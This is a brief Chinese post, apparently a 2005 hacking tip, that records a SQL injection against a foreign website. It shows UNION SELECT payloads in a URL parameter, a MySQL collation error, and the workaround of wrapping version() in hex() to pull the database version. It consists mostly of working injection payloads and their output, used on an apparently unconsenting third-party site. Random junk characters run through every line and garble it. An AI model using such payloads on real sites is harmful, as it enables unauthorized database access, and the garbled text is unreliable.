本文作者:SuperHei
) C' { S* e T5 T文章性质:原创
, h, \/ s Y( M6 i7 \) F7 m& S发布日期:2005-10-18
1 Y3 U# u0 D6 y) y测试个国外的站时:- U9 `; S* R8 A: Q7 H! g
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*0 H0 T- E+ d: k9 { |7 R
返回错误:& c3 i/ b, P6 f
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'( `2 W% `+ Q- U/ c1 {5 d$ Z
MySQL Error No. 126 d0 Q6 M2 K1 J- I3 B4 U
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
" f5 d$ R+ J/ ? l+ h. K解决办法:转为其他编码如hex。. R- M, w$ C+ w5 G, l' f
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
- Q' d1 Y, \' L0 d# d2 a: T成功得到hex(version())的值为:
* n" p- k! m6 M8 q342E312E332D62657461
8 Y; V; k. S3 ?9 }5 a: Q回Mysql查询下得到:
0 \! p" {3 V+ K- w& Jmysql> select 0x342E312E332D62657461;8 R4 a2 X# {6 z$ S7 y
+------------------------+
& v% M" N8 U. j( {, V5 b4 K) Q| 0x342E312E332D62657461 |6 k" |2 ?3 s9 O" B, g$ g9 a
+------------------------+* [) ]& P; d, ?( j5 v( q, I
| 4.1.3-beta |
0 i0 G; P: R" j* I- q9 Q$ E' R$ j3 j+------------------------+1 M5 B' r( g% r- V, k4 Z" Y
1 row in set (0.00 sec)/ l1 G R( A/ H, r4 V
. x: t( q/ o* p8 g; D7 O
|